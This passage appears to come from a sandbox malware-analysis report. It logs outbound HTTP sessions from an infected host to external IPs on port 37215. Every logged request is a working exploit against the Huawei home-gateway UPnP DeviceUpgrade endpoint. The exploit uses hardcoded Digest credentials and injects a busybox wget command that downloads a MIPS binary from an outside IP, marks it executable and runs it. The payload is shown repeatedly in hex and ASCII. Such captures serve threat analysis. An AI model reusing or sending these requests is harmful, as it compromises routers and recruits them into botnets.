xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:25.852602959 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:28.924154043 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:34.811419010 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:46.333802938 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:10.134505987 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:57.231817961 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.23	38232	94.123.88.57	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:15:23.954176903 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.23	57082	94.123.143.177	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:15:24.521364927 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:25.980573893 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
